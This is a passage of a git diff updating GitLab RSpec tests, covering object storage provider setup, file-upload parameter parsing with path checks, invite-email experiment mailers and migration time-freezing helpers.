@@ -434,7 +435,8 @@ RSpec.describe Gitlab::Workhorse do
expect(command).to eq("send-scaled-img")
expect(params).to eq({
'Location' => location,
- 'Width' => width
+ 'Width' => width,
+ 'ContentType' => content_type
}.deep_stringify_keys)
end
end
diff --git a/spec/lib/gitlab_danger_spec.rb b/spec/lib/gitlab_danger_spec.rb
index 49c7a46f321..b534823a888 100644
--- a/spec/lib/gitlab_danger_spec.rb
+++ b/spec/lib/gitlab_danger_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe GitlabDanger do
describe '.local_warning_message' do
it 'returns an informational message with rules that can run' do
- expect(described_class.local_warning_message).to eq('==> Only the following Danger rules can be run locally: changes_size, documentation, frozen_string, duplicate_yarn_dependencies, prettier, eslint, karma, database, commit_messages, telemetry, utility_css')
+ expect(described_class.local_warning_message).to eq('==> Only the following Danger rules can be run locally: changes_size, documentation, frozen_string, duplicate_yarn_dependencies, prettier, eslint, karma, database, commit_messages, telemetry, utility_css, pajamas')
end
end
diff --git a/spec/lib/object_storage/config_spec.rb b/spec/lib/object_storage/config_spec.rb
index a48b5100065..0ead2a1d269 100644
--- a/spec/lib/object_storage/config_spec.rb
+++ b/spec/lib/object_storage/config_spec.rb
@@ -2,6 +2,7 @@
require 'fast_spec_helper'
require 'rspec-parameterized'
+require 'fog/core'
RSpec.describe ObjectStorage::Config do
using RSpec::Parameterized::TableSyntax
@@ -35,6 +36,46 @@ RSpec.describe ObjectStorage::Config do
subject { described_class.new(raw_config.as_json) }
+ describe '#load_provider' do
+ before do
+ subject.load_provider
+ end
+
+ context 'with AWS' do
+ it 'registers AWS as a provider' do
+ expect(Fog.providers.keys).to include(:aws)
+ end
+ end
+
+ context 'with Google' do
+ let(:credentials) do
+ {
+ provider: 'Google',
+ google_storage_access_key_id: 'GOOGLE_ACCESS_KEY_ID',
+ google_storage_secret_access_key: 'GOOGLE_SECRET_ACCESS_KEY'
+ }
+ end
+
+ it 'registers Google as a provider' do
+ expect(Fog.providers.keys).to include(:google)
+ end
+ end
+
+ context 'with Azure' do
+ let(:credentials) do
+ {
+ provider: 'AzureRM',
+ azure_storage_account_name: 'azuretest',
+ azure_storage_access_key: 'ABCD1234'
+ }
+ end
+
+ it 'registers AzureRM as a provider' do
+ expect(Fog.providers.keys).to include(:azurerm)
+ end
+ end
+ end
+
describe '#credentials' do
it { expect(subject.credentials).to eq(credentials) }
end
diff --git a/spec/lib/object_storage/direct_upload_spec.rb b/spec/lib/object_storage/direct_upload_spec.rb
index b11926aeb49..932d579c3cc 100644
--- a/spec/lib/object_storage/direct_upload_spec.rb
+++ b/spec/lib/object_storage/direct_upload_spec.rb
@@ -211,7 +211,7 @@ RSpec.describe ObjectStorage::DirectUpload do
expect(subject[:UseWorkhorseClient]).to be true
expect(subject[:RemoteTempObjectID]).to eq(object_name)
expect(subject[:ObjectStorage][:Provider]).to eq('AzureRM')
- expect(subject[:ObjectStorage][:GoCloudConfig]).to eq({ URL: "azblob://#{bucket_name}" })
+ expect(subject[:ObjectStorage][:GoCloudConfig]).to eq({ URL: gocloud_url })
end
end
@@ -395,20 +395,24 @@ RSpec.describe ObjectStorage::DirectUpload do
}
end
+ let(:has_length) { false }
+ let(:storage_domain) { nil }
let(:storage_url) { 'https://azuretest.blob.core.windows.net' }
+ let(:gocloud_url) { "azblob://#{bucket_name}" }
- context 'when length is known' do
- let(:has_length) { true }
+ it_behaves_like 'a valid AzureRM upload'
+ it_behaves_like 'a valid upload without multipart data'
- it_behaves_like 'a valid AzureRM upload'
- it_behaves_like 'a valid upload without multipart data'
- end
+ context 'when a custom storage domain is used' do
+ let(:storage_domain) { 'blob.core.chinacloudapi.cn' }
+ let(:storage_url) { "https://azuretest.#{storage_domain}" }
+ let(:gocloud_url) { "azblob://#{bucket_name}?domain=#{storage_domain}" }
- context 'when length is unknown' do
- let(:has_length) { false }
+ before do
+ credentials[:azure_storage_domain] = storage_domain
+ end
it_behaves_like 'a valid AzureRM upload'
- it_behaves_like 'a valid upload without multipart data'
end
end
end
diff --git a/spec/lib/product_analytics/tracker_spec.rb b/spec/lib/product_analytics/tracker_spec.rb
index d5e85e6e1cd..0d0660235f1 100644
--- a/spec/lib/product_analytics/tracker_spec.rb
+++ b/spec/lib/product_analytics/tracker_spec.rb
@@ -1,8 +1,57 @@
# frozen_string_literal: true
-require "spec_helper"
+require 'spec_helper'
RSpec.describe ProductAnalytics::Tracker do
it { expect(described_class::URL).to eq('http://localhost/-/sp.js') }
it { expect(described_class::COLLECTOR_URL).to eq('localhost/-/collector') }
+
+ describe '.event' do
+ after do
+ described_class.clear_memoization(:snowplow)
+ end
+
+ context 'when usage ping is enabled' do
+ let(:tracker) { double }
+ let(:project_id) { 1 }
+
+ before do
+ stub_application_setting(usage_ping_enabled: true, self_monitoring_project_id: project_id)
+ end
+
+ it 'sends an event to Product Analytics snowplow collector' do
+ expect(SnowplowTracker::AsyncEmitter)
+ .to receive(:new)
+ .with(described_class::COLLECTOR_URL, { protocol: 'http' })
+ .and_return('_emitter_')
+
+ expect(SnowplowTracker::Tracker)
+ .to receive(:new)
+ .with('_emitter_', an_instance_of(SnowplowTracker::Subject), 'gl', project_id.to_s)
+ .and_return(tracker)
+
+ freeze_time do
+ expect(tracker)
+ .to receive(:track_struct_event)
+ .with('category', 'action', '_label_', '_property_', '_value_', nil, (Time.current.to_f * 1000).to_i)
+
+ described_class.event('category', 'action', label: '_label_', property: '_property_',
+ value: '_value_', context: nil)
+ end
+ end
+ end
+
+ context 'when usage ping is disabled' do
+ before do
+ stub_application_setting(usage_ping_enabled: false)
+ end
+
+ it 'does not send an event' do
+ expect(SnowplowTracker::Tracker).not_to receive(:new)
+
+ described_class.event('category', 'action', label: '_label_', property: '_property_',
+ value: '_value_', context: nil)
+ end
+ end
+ end
end
diff --git a/spec/lib/uploaded_file_spec.rb b/spec/lib/uploaded_file_spec.rb
index 5ff46193b4f..8425e1dbd46 100644
--- a/spec/lib/uploaded_file_spec.rb
+++ b/spec/lib/uploaded_file_spec.rb
@@ -14,226 +14,343 @@ RSpec.describe UploadedFile do
FileUtils.rm_f(temp_file)
end
- describe ".from_params" do
- let(:upload_path) { nil }
- let(:file_path_override) { nil }
+ context 'from_params functions' do
+ RSpec.shared_examples 'using the file path' do |filename:, content_type:, sha256:, path_suffix:|
+ it { is_expected.not_to be_nil }
+
+ it 'sets properly the attributes' do
+ expect(subject.original_filename).to eq(filename)
+ expect(subject.content_type).to eq(content_type)
+ expect(subject.sha256).to eq(sha256)
+ expect(subject.remote_id).to be_nil
+ expect(subject.path).to end_with(path_suffix)
+ end
+
+ it 'handles a blank path' do
+ params['file.path'] = ''
+
+ # Not a real file, so can't determine size itself
+ params['file.size'] = 1.byte
- after do
- FileUtils.rm_r(upload_path) if upload_path
+ expect { described_class.from_params(params, :file, upload_path) }
+ .not_to raise_error
+ end
end
- subject do
- described_class.from_params(params, :file, upload_path, file_path_override)
+ RSpec.shared_examples 'using the remote id' do |filename:, content_type:, sha256:, size:, remote_id:|
+ it { is_expected.not_to be_nil }
+
+ it 'sets properly the attributes' do
+ expect(subject.original_filename).to eq(filename)
+ expect(subject.content_type).to eq('application/octet-stream')
+ expect(subject.sha256).to eq('sha256')
+ expect(subject.path).to be_nil
+ expect(subject.size).to eq(123456)
+ expect(subject.remote_id).to eq('1234567890')
+ end
end
- context 'when valid file is specified' do
- context 'only local path is specified' do
- let(:params) do
- { 'file.path' => temp_file.path }
- end
+ describe '.from_params_without_field' do
+ let(:upload_path) { nil }
- it { is_expected.not_to be_nil }
+ after do
+ FileUtils.rm_r(upload_path) if upload_path
+ end
- it "generates filename from path" do
- expect(subject.original_filename).to eq(::File.basename(temp_file.path))
- end
+ subject do
+ described_class.from_params_without_field(params, [upload_path, Dir.tmpdir])
end
- context 'all parameters are specified' do
- RSpec.shared_context 'filepath override' do
- let(:temp_file_override) { Tempfile.new(%w[override override], temp_dir) }
- let(:file_path_override) { temp_file_override.path }
+ context 'when valid file is specified' do
+ context 'only local path is specified' do
+ let(:params) { { 'path' => temp_file.path } }
- before do
- FileUtils.touch(temp_file_override)
- end
+ it { is_expected.not_to be_nil }
- after do
- FileUtils.rm_f(temp_file_override)
+ it 'generates filename from path' do
+ expect(subject.original_filename).to eq(::File.basename(temp_file.path))
end
end
- RSpec.shared_examples 'using the file path' do |filename:, content_type:, sha256:, path_suffix:|
- it 'sets properly the attributes' do
- expect(subject.original_filename).to eq(filename)
- expect(subject.content_type).to eq(content_type)
- expect(subject.sha256).to eq(sha256)
- expect(subject.remote_id).to be_nil
- expect(subject.path).to end_with(path_suffix)
+ context 'all parameters are specified' do
+ context 'with a filepath' do
+ let(:params) do
+ { 'path' => temp_file.path,
+ 'name' => 'dir/my file&.txt',
+ 'type' => 'my/type',
+ 'sha256' => 'sha256' }
+ end
+
+ it_behaves_like 'using the file path',
+ filename: 'my_file_.txt',
+ content_type: 'my/type',
+ sha256: 'sha256',
+ path_suffix: 'test'
end
- it 'handles a blank path' do
- params['file.path'] = ''
-
- # Not a real file, so can't determine size itself
- params['file.size'] = 1.byte
+ context 'with a remote id' do
+ let(:params) do
+ {
+ 'name' => 'dir/my file&.txt',
+ 'sha256' => 'sha256',
+ 'remote_url' => 'http://localhost/file',
+ 'remote_id' => '1234567890',
+ 'etag' => 'etag1234567890',
+ 'size' => '123456'
+ }
+ end
+
+ it_behaves_like 'using the remote id',
+ filename: 'my_file_.txt',
+ content_type: 'application/octet-stream',
+ sha256: 'sha256',
+ size: 123456,
+ remote_id: '1234567890'
+ end
- expect { described_class.from_params(params, :file, upload_path) }
- .not_to raise_error
+ context 'with a path and a remote id' do
+ let(:params) do
+ {
+ 'path' => temp_file.path,
+ 'name' => 'dir/my file&.txt',
+ 'sha256' => 'sha256',
+ 'remote_url' => 'http://localhost/file',
+ 'remote_id' => '1234567890',
+ 'etag' => 'etag1234567890',
+ 'size' => '123456'
+ }
+ end
+
+ it_behaves_like 'using the remote id',
+ filename: 'my_file_.txt',
+ content_type: 'application/octet-stream',
+ sha256: 'sha256',
+ size: 123456,
+ remote_id: '1234567890'
end
end
+ end
- RSpec.shared_examples 'using the remote id' do |filename:, content_type:, sha256:, size:, remote_id:|
- it 'sets properly the attributes' do
- expect(subject.original_filename).to eq(filename)
- expect(subject.content_type).to eq('application/octet-stream')
- expect(subject.sha256).to eq('sha256')
- expect(subject.path).to be_nil
- expect(subject.size).to eq(123456)
- expect(subject.remote_id).to eq('1234567890')
- end
+ context 'when no params are specified' do
+ let(:params) { {} }
+
+ it 'does not return an object' do
+ is_expected.to be_nil
end
+ end
- context 'with a filepath' do
- let(:params) do
- { 'file.path' => temp_file.path,
- 'file.name' => 'dir/my file&.txt',
- 'file.type' => 'my/type',
- 'file.sha256' => 'sha256' }
- end
+ context 'when verifying allowed paths' do
+ let(:params) { { 'path' => temp_file.path } }
+
+ context 'when file is stored in system temporary folder' do
+ let(:temp_dir) { Dir.tmpdir }
it { is_expected.not_to be_nil }
+ end
+
+ context 'when file is stored in user provided upload path' do
+ let(:upload_path) { Dir.mktmpdir }
+ let(:temp_dir) { upload_path }
- it_behaves_like 'using the file path',
- filename: 'my_file_.txt',
- content_type: 'my/type',
- sha256: 'sha256',
- path_suffix: 'test'
+ it { is_expected.not_to be_nil }
end
- context 'with a filepath override' do
- include_context 'filepath override'
+ context 'when file is stored outside of user provided upload path' do
+ let!(:generated_dir) { Dir.mktmpdir }
+ let!(:temp_dir) { Dir.mktmpdir }
- let(:params) do
- { 'file.path' => temp_file.path,
- 'file.name' => 'dir/my file&.txt',
- 'file.type' => 'my/type',
- 'file.sha256' => 'sha256' }
+ before do
+ # We overwrite default temporary path
+ allow(Dir).to receive(:tmpdir).and_return(generated_dir)
end
- it { is_expected.not_to be_nil }
-
- it_behaves_like 'using the file path',
- filename: 'my_file_.txt',
- content_type: 'my/type',
- sha256: 'sha256',
- path_suffix: 'override'
+ it 'raises an error' do
+ expect { subject }.to raise_error(UploadedFile::InvalidPathError, /insecure path used/)
+ end
end
+ end
+ end
- context 'with a remote id' do
- let(:params) do
- {
- 'file.name' => 'dir/my file&.txt',
- 'file.sha256' => 'sha256',
- 'file.remote_url' => 'http://localhost/file',
- 'file.remote_id' => '1234567890',
- 'file.etag' => 'etag1234567890',
- 'file.size' => '123456'
- }
- end
+ describe '.from_params' do
+ let(:upload_path) { nil }
+ let(:file_path_override) { nil }
- it { is_expected.not_to be_nil }
+ after do
+ FileUtils.rm_r(upload_path) if upload_path
+ end
+
+ subject do
+ described_class.from_params(params, :file, [upload_path, Dir.tmpdir], file_path_override)
+ end
- it_behaves_like 'using the remote id',
- filename: 'my_file_.txt',
- content_type: 'application/octet-stream',
- sha256: 'sha256',
- size: 123456,
- remote_id: '1234567890'
+ RSpec.shared_context 'filepath override' do
+ let(:temp_file_override) { Tempfile.new(%w[override override], temp_dir) }
+ let(:file_path_override) { temp_file_override.path }
+
+ before do
+ FileUtils.touch(temp_file_override)
end
- context 'with a path and a remote id' do
+ after do
+ FileUtils.rm_f(temp_file_override)
+ end
+ end
+
+ context 'when valid file is specified' do
+ context 'only local path is specified' do
let(:params) do
- {
- 'file.path' => temp_file.path,
- 'file.name' => 'dir/my file&.txt',
- 'file.sha256' => 'sha256',
- 'file.remote_url' => 'http://localhost/file',
- 'file.remote_id' => '1234567890',
- 'file.etag' => 'etag1234567890',
- 'file.size' => '123456'
- }
+ { 'file.path' => temp_file.path }
end
it { is_expected.not_to be_nil }
- it_behaves_like 'using the remote id',
- filename: 'my_file_.txt',
- content_type: 'application/octet-stream',
- sha256: 'sha256',
- size: 123456,
- remote_id: '1234567890'
+ it "generates filename from path" do
+ expect(subject.original_filename).to eq(::File.basename(temp_file.path))
+ end
end
- context 'with a path override and a remote id' do
- include_context 'filepath override'
+ context 'all parameters are specified' do
+ context 'with a filepath' do
+ let(:params) do
+ { 'file.path' => temp_file.path,
+ 'file.name' => 'dir/my file&.txt',
+ 'file.type' => 'my/type',
+ 'file.sha256' => 'sha256' }
+ end
+
+ it_behaves_like 'using the file path',
+ filename: 'my_file_.txt',
+ content_type: 'my/type',
+ sha256: 'sha256',
+ path_suffix: 'test'
+ end
- let(:params) do
- {
- 'file.name' => 'dir/my file&.txt',
- 'file.sha256' => 'sha256',
- 'file.remote_url' => 'http://localhost/file',
- 'file.remote_id' => '1234567890',
- 'file.etag' => 'etag1234567890',
- 'file.size' => '123456'
- }
+ context 'with a filepath override' do
+ include_context 'filepath override'
+
+ let(:params) do
+ { 'file.path' => temp_file.path,
+ 'file.name' => 'dir/my file&.txt',
+ 'file.type' => 'my/type',
+ 'file.sha256' => 'sha256' }
+ end
+
+ it_behaves_like 'using the file path',
+ filename: 'my_file_.txt',
+ content_type: 'my/type',
+ sha256: 'sha256',
+ path_suffix: 'override'
end
- it { is_expected.not_to be_nil }
+ context 'with a remote id' do
+ let(:params) do
+ {
+ 'file.name' => 'dir/my file&.txt',
+ 'file.sha256' => 'sha256',
+ 'file.remote_url' => 'http://localhost/file',
+ 'file.remote_id' => '1234567890',
+ 'file.etag' => 'etag1234567890',
+ 'file.size' => '123456'
+ }
+ end
+
+ it_behaves_like 'using the remote id',
+ filename: 'my_file_.txt',
+ content_type: 'application/octet-stream',
+ sha256: 'sha256',
+ size: 123456,
+ remote_id: '1234567890'
+ end
- it_behaves_like 'using the remote id',
- filename: 'my_file_.txt',
- content_type: 'application/octet-stream',
- sha256: 'sha256',
- size: 123456,
- remote_id: '1234567890'
+ context 'with a path and a remote id' do
+ let(:params) do
+ {
+ 'file.path' => temp_file.path,
+ 'file.name' => 'dir/my file&.txt',
+ 'file.sha256' => 'sha256',
+ 'file.remote_url' => 'http://localhost/file',
+ 'file.remote_id' => '1234567890',
+ 'file.etag' => 'etag1234567890',
+ 'file.size' => '123456'
+ }
+ end
+
+ it_behaves_like 'using the remote id',
+ filename: 'my_file_.txt',
+ content_type: 'application/octet-stream',
+ sha256: 'sha256',
+ size: 123456,
+ remote_id: '1234567890'
+ end
+
+ context 'with a path override and a remote id' do
+ include_context 'filepath override'
+
+ let(:params) do
+ {
+ 'file.name' => 'dir/my file&.txt',
+ 'file.sha256' => 'sha256',
+ 'file.remote_url' => 'http://localhost/file',
+ 'file.remote_id' => '1234567890',
+ 'file.etag' => 'etag1234567890',
+ 'file.size' => '123456'
+ }
+ end
+
+ it_behaves_like 'using the remote id',
+ filename: 'my_file_.txt',
+ content_type: 'application/octet-stream',
+ sha256: 'sha256',
+ size: 123456,
+ remote_id: '1234567890'
+ end
end
end
- end
- context 'when no params are specified' do
- let(:params) do
- {}
- end
+ context 'when no params are specified' do
+ let(:params) do
+ {}
+ end
- it "does not return an object" do
- is_expected.to be_nil
+ it "does not return an object" do
+ is_expected.to be_nil
+ end
end
- end
- context 'when verifying allowed paths' do
- let(:params) do
- { 'file.path' => temp_file.path }
- end
+ context 'when verifying allowed paths' do
+ let(:params) do
+ { 'file.path' => temp_file.path }
+ end
- context 'when file is stored in system temporary folder' do
- let(:temp_dir) { Dir.tmpdir }
+ context 'when file is stored in system temporary folder' do
+ let(:temp_dir) { Dir.tmpdir }
- it "succeeds" do
- is_expected.not_to be_nil
+ it "succeeds" do
+ is_expected.not_to be_nil
+ end
end
- end
- context 'when file is stored in user provided upload path' do
- let(:upload_path) { Dir.mktmpdir }
- let(:temp_dir) { upload_path }
+ context 'when file is stored in user provided upload path' do
+ let(:upload_path) { Dir.mktmpdir }
+ let(:temp_dir) { upload_path }
- it "succeeds" do
- is_expected.not_to be_nil
+ it "succeeds" do
+ is_expected.not_to be_nil
+ end
end
- end
- context 'when file is stored outside of user provided upload path' do
- let!(:generated_dir) { Dir.mktmpdir }
- let!(:temp_dir) { Dir.mktmpdir }
+ context 'when file is stored outside of user provided upload path' do
+ let!(:generated_dir) { Dir.mktmpdir }
+ let!(:temp_dir) { Dir.mktmpdir }
- before do
- # We overwrite default temporary path
- allow(Dir).to receive(:tmpdir).and_return(generated_dir)
- end
+ before do
+ # We overwrite default temporary path
+ allow(Dir).to receive(:tmpdir).and_return(generated_dir)
+ end
- it "raises an error" do
- expect { subject }.to raise_error(UploadedFile::InvalidPathError, /insecure path used/)
+ it "raises an error" do
+ expect { subject }.to raise_error(UploadedFile::InvalidPathError, /insecure path used/)
+ end
end
end
end
diff --git a/spec/mailers/devise_mailer_spec.rb b/spec/mailers/devise_mailer_spec.rb
index 4637df9c8a3..2ee15308400 100644
--- a/spec/mailers/devise_mailer_spec.rb
+++ b/spec/mailers/devise_mailer_spec.rb
@@ -4,6 +4,9 @@ require 'spec_helper'
require 'email_spec'
RSpec.describe DeviseMailer do
+ include EmailSpec::Matchers
+ include_context 'gitlab email notification'
+
describe "#confirmation_instructions" do
subject { described_class.confirmation_instructions(user, 'faketoken', {}) }
@@ -35,4 +38,30 @@ RSpec.describe DeviseMailer do
end
end
end
+
+ describe '#password_change_by_admin' do
+ subject { described_class.password_change_by_admin(user) }
+
+ let_it_be(:user) { create(:user) }
+
+ it_behaves_like 'an email sent from GitLab'
+ it_behaves_like 'it should not have Gmail Actions links'
+ it_behaves_like 'a user cannot unsubscribe through footer link'
+
+ it 'is sent to the user' do
+ is_expected.to deliver_to user.email
+ end
+
+ it 'has the correct subject' do
+ is_expected.to have_subject /^Password changed by administrator$/i
+ end
+
+ it 'includes the correct content' do
+ is_expected.to have_body_text /An administrator changed the password for your GitLab account/
+ end
+
+ it 'includes a link to GitLab' do
+ is_expected.to have_body_text /#{Gitlab.config.gitlab.url}/
+ end
+ end
end
diff --git a/spec/mailers/emails/profile_spec.rb b/spec/mailers/emails/profile_spec.rb
index fbbdef5feee..fdff2d837f8 100644
--- a/spec/mailers/emails/profile_spec.rb
+++ b/spec/mailers/emails/profile_spec.rb
@@ -256,4 +256,26 @@ RSpec.describe Emails::Profile do
end
end
end
+
+ describe 'disabled two-factor authentication email' do
+ let_it_be(:user) { create(:user) }
+
+ subject { Notify.disabled_two_factor_email(user) }
+
+ it_behaves_like 'an email sent from GitLab'
+ it_behaves_like 'it should not have Gmail Actions links'
+ it_behaves_like 'a user cannot unsubscribe through footer link'
+
+ it 'is sent to the user' do
+ is_expected.to deliver_to user.email
+ end
+
+ it 'has the correct subject' do
+ is_expected.to have_subject /^Two-factor authentication disabled$/i
+ end
+
+ it 'includes a link to two-factor authentication settings page' do
+ is_expected.to have_body_text /#{profile_two_factor_auth_path}/
+ end
+ end
end
diff --git a/spec/mailers/notify_spec.rb b/spec/mailers/notify_spec.rb
index 7bd1fae8f91..b9f95a9eb00 100644
--- a/spec/mailers/notify_spec.rb
+++ b/spec/mailers/notify_spec.rb
@@ -868,36 +868,116 @@ RSpec.describe Notify do
end
end
- def invite_to_project(project, inviter:)
+ def invite_to_project(project, inviter:, user: nil)
create(
:project_member,
:developer,
project: project,
invite_token: '1234',
invite_email: 'toto@example.com',
- user: nil,
+ user: user,
created_by: inviter
)
end
describe 'project invitation' do
let(:maintainer) { create(:user).tap { |u| project.add_maintainer(u) } }
- let(:project_member) { invite_to_project(project, inviter: maintainer) }
+ let(:project_member) { invite_to_project(project, inviter: inviter) }
+ let(:inviter) { maintainer }
subject { described_class.member_invited_email('project', project_member.id, project_member.invite_token) }
- it_behaves_like 'an email sent from GitLab'
- it_behaves_like 'it should not have Gmail Actions links'
- it_behaves_like "a user cannot unsubscribe through footer link"
- it_behaves_like 'appearance header and footer enabled'
- it_behaves_like 'appearance header and footer not enabled'
+ context 'when invite_email_experiment is disabled' do
+ before do
+ stub_feature_flags(invite_email_experiment: false)
+ end
- it 'contains all the useful information' do
- is_expected.to have_subject "Invitation to join the #{project.full_name} project"
- is_expected.to have_body_text project.full_name
- is_expected.to have_body_text project.full_name
- is_expected.to have_body_text project_member.human_access
- is_expected.to have_body_text project_member.invite_token
+ it_behaves_like 'an email sent from GitLab'
+ it_behaves_like 'it should not have Gmail Actions links'
+ it_behaves_like "a user cannot unsubscribe through footer link"
+ it_behaves_like 'appearance header and footer enabled'
+ it_behaves_like 'appearance header and footer not enabled'
+
+ it 'contains all the useful information' do
+ is_expected.to have_subject "Invitation to join the #{project.full_name} project"
+ is_expected.to have_body_text project.full_name
+ is_expected.to have_body_text project_member.human_access
+ is_expected.to have_body_text project_member.invite_token
+ end
+
+ context 'when member is invited via an email address' do
+ it 'does add a param to the invite link' do
+ is_expected.to have_body_text 'new_user_invite=control'
+ end
+
+ it 'tracks an event' do
+ expect(Gitlab::Tracking).to receive(:event).with(
+ 'Growth::Acquisition::Experiment::InviteEmail',
+ 'sent',
+ property: 'control_group'
+ )
+
+ subject.deliver_now
+ end
+ end
+
+ context 'when member is already a user' do
+ let(:project_member) { invite_to_project(project, inviter: maintainer, user: create(:user)) }
+
+ it 'does not add a param to the invite link' do
+ is_expected.not_to have_body_text 'new_user_invite'
+ end
+
+ it 'does not track an event' do
+ expect(Gitlab::Tracking).not_to receive(:event)
+
+ subject.deliver_now
+ end
+ end
+ end
+
+ context 'when invite_email_experiment is enabled' do
+ before do
+ stub_feature_flags(invite_email_experiment: true)
+ end
+
+ it_behaves_like 'an email sent from GitLab'
+ it_behaves_like 'it should not have Gmail Actions links'
+ it_behaves_like "a user cannot unsubscribe through footer link"
+
+ context 'when there is no inviter' do
+ let(:inviter) { nil }
+
+ it 'contains all the useful information' do
+ is_expected.to have_subject "Invitation to join the #{project.full_name} project"
+ is_expected.to have_body_text project.full_name
+ is_expected.to have_body_text project_member.human_access.downcase
+ is_expected.to have_body_text project_member.invite_token
+ end
+ end
+
+ context 'when there is an inviter' do
+ it 'contains all the useful information' do
+ is_expected.to have_subject "#{inviter.name} invited you to join GitLab"
+ is_expected.to have_body_text project.full_name
+ is_expected.to have_body_text project_member.human_access.downcase
+ is_expected.to have_body_text project_member.invite_token
+ end
+ end
+
+ it 'adds a param to the invite link' do
+ is_expected.to have_body_text 'new_user_invite=experiment'
+ end
+
+ it 'tracks an event' do
+ expect(Gitlab::Tracking).to receive(:event).with(
+ 'Growth::Acquisition::Experiment::InviteEmail',
+ 'sent',
+ property: 'experiment_group'
+ )
+
+ subject.deliver_now
+ end
end
end
@@ -1416,37 +1496,115 @@ RSpec.describe Notify do
end
end
- def invite_to_group(group, inviter:)
+ def invite_to_group(group, inviter:, user: nil)
create(
:group_member,
:developer,
group: group,
invite_token: '1234',
invite_email: 'toto@example.com',
- user: nil,
+ user: user,
created_by: inviter
)
end
describe 'group invitation' do
let(:owner) { create(:user).tap { |u| group.add_user(u, Gitlab::Access::OWNER) } }
- let(:group_member) { invite_to_group(group, inviter: owner) }
+ let(:group_member) { invite_to_group(group, inviter: inviter) }
+ let(:inviter) { owner }
subject { described_class.member_invited_email('group', group_member.id, group_member.invite_token) }
- it_behaves_like 'an email sent from GitLab'
- it_behaves_like 'it should not have Gmail Actions links'
- it_behaves_like "a user cannot unsubscribe through footer link"
- it_behaves_like 'appearance header and footer enabled'
- it_behaves_like 'appearance header and footer not enabled'
- it_behaves_like 'it requires a group'
+ context 'when invite_email_experiment is disabled' do
+ before do
+ stub_feature_flags(invite_email_experiment: false)
+ end
- it 'contains all the useful information' do
- is_expected.to have_subject "Invitation to join the #{group.name} group"
- is_expected.to have_body_text group.name
- is_expected.to have_body_text group.web_url
- is_expected.to have_body_text group_member.human_access
- is_expected.to have_body_text group_member.invite_token
+ it_behaves_like 'an email sent from GitLab'
+ it_behaves_like 'it should not have Gmail Actions links'
+ it_behaves_like "a user cannot unsubscribe through footer link"
+ it_behaves_like 'appearance header and footer enabled'
+ it_behaves_like 'appearance header and footer not enabled'
+ it_behaves_like 'it requires a group'
+
+ it 'contains all the useful information' do
+ is_expected.to have_subject "Invitation to join the #{group.name} group"
+ is_expected.to have_body_text group.name
+ is_expected.to have_body_text group.web_url
+ is_expected.to have_body_text group_member.human_access
+ is_expected.to have_body_text group_member.invite_token
+ end
+
+ context 'when member is invited via an email address' do
+ it 'does add a param to the invite link' do
+ is_expected.to have_body_text 'new_user_invite=control'
+ end
+
+ it 'tracks an event' do
+ expect(Gitlab::Tracking).to receive(:event).with(
+ 'Growth::Acquisition::Experiment::InviteEmail',
+ 'sent',
+ property: 'control_group'
+ )
+
+ subject.deliver_now
+ end
+ end
+
+ context 'when member is already a user' do
+ let(:group_member) { invite_to_group(group, inviter: owner, user: create(:user)) }
+
+ it 'does not add a param to the invite link' do
+ is_expected.not_to have_body_text 'new_user_invite'
+ end
+
+ it 'does not track an event' do
+ expect(Gitlab::Tracking).not_to receive(:event)
+
+ subject.deliver_now
+ end
+ end
+ end
+
+ context 'when invite_email_experiment is enabled' do
+ it_behaves_like 'an email sent from GitLab'
+ it_behaves_like 'it should not have Gmail Actions links'
+ it_behaves_like "a user cannot unsubscribe through footer link"
+ it_behaves_like 'it requires a group'
+
+ context 'when there is no inviter' do
+ let(:inviter) { nil }
+
+ it 'contains all the useful information' do
+ is_expected.to have_subject "Invitation to join the #{group.name} group"
+ is_expected.to have_body_text group.name
+ is_expected.to have_body_text group_member.human_access.downcase
+ is_expected.to have_body_text group_member.invite_token
+ end
+ end
+
+ context 'when there is an inviter' do
+ it 'contains all the useful information' do
+ is_expected.to have_subject "#{group_member.created_by.name} invited you to join GitLab"
+ is_expected.to have_body_text group.name
+ is_expected.to have_body_text group_member.human_access.downcase
+ is_expected.to have_body_text group_member.invite_token
+ end
+ end
+
+ it 'does add a param to the invite link' do
+ is_expected.to have_body_text 'new_user_invite'
+ end
+
+ it 'tracks an event' do
+ expect(Gitlab::Tracking).to receive(:event).with(
+ 'Growth::Acquisition::Experiment::InviteEmail',
+ 'sent',
+ property: 'experiment_group'
+ )
+
+ subject.deliver_now
+ end
end
end
diff --git a/spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb b/spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb
index 6c957ee1428..196f5ead8d2 100644
--- a/spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb
+++ b/spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb
@@ -52,7 +52,7 @@ RSpec.describe MigrateIssueTrackersData do
it 'schedules background migrations at correct time' do
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(migration_name).to be_scheduled_delayed_migration(3.minutes, jira_service.id, bugzilla_service.id)
diff --git a/spec/migrations/20200122123016_backfill_project_settings_spec.rb b/spec/migrations/20200122123016_backfill_project_settings_spec.rb
index 0992ddde0c1..60c6206a83b 100644
--- a/spec/migrations/20200122123016_backfill_project_settings_spec.rb
+++ b/spec/migrations/20200122123016_backfill_project_settings_spec.rb
@@ -19,7 +19,7 @@ RSpec.describe BackfillProjectSettings, :sidekiq, schema: 20200114113341 do
it 'schedules BackfillProjectSettings background jobs' do
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(described_class::MIGRATION).to be_scheduled_delayed_migration(2.minutes, 1, 2)
diff --git a/spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb b/spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb
index d5208976928..e140be476ab 100644
--- a/spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb
+++ b/spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb
@@ -53,7 +53,7 @@ RSpec.describe RescheduleMigrateIssueTrackersData do
describe "#up" do
it 'schedules background migrations at correct time' do
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
migrate!
expect(migration_name).to be_scheduled_delayed_migration(3.minutes, jira_service.id, bugzilla_service.id)
diff --git a/spec/migrations/20200406102120_backfill_deployment_clusters_from_deployments_spec.rb b/spec/migrations/20200406102120_backfill_deployment_clusters_from_deployments_spec.rb
index 47bc7428286..c6b221b09a5 100644
